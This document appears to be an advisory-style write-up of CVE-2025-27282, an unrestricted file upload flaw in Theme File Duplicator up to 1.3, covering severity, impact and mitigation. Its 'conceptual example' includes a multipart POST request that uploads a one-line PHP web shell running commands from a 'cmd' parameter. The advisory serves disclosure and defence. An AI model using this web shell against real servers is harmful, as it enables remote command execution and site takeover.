CVE-2025-27282: Unrestricted Upload of File with Dangerous Type Vulnerability in Theme File Duplicator

Overview

CVE-2025-27282 represents a significant vulnerability in the Theme File Duplicator, specifically versions up to 1.3. It is characterized by unrestricted upload of files, which allows attackers to upload harmful files that can compromise the security of systems that use this theme duplicator. This vulnerability stands as a significant security threat to organizations using the affected versions of Theme File Duplicator, and its exploitation can lead to severe consequences, including potential system compromise and data leakage.
Given its high severity score of 9.9, it is crucial to understand the nature of this vulnerability, its potential impact, and the measures needed to mitigate its effects.

Vulnerability Summary

CVE ID: CVE-2025-27282
Severity: Critical (CVSS: 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Theme File Duplicator | Up to 1.3

How the Exploit Works

This vulnerability stems from the unrestricted file upload mechanism in the Theme File Duplicator. An attacker can exploit this by uploading a malicious file with a dangerous type. Once uploaded, this file can be executed within the system, leading to a wide range of potential impacts, including system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. In this case, a malicious file is being uploaded through an HTTP POST request.

POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_file.php"
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

The above code represents an HTTP POST request that uploads a malicious PHP file. The PHP file has the capability to execute shell commands from the GET parameter ‘cmd’, providing the attacker with the ability to execute arbitrary commands on the server.

Mitigation

Users are advised to apply the patch provided by the vendor as soon as possible to mitigate the risk posed by this vulnerability. In the absence of a patch, users can employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary measure. However, these are not long-term solutions and may not fully protect against the vulnerability.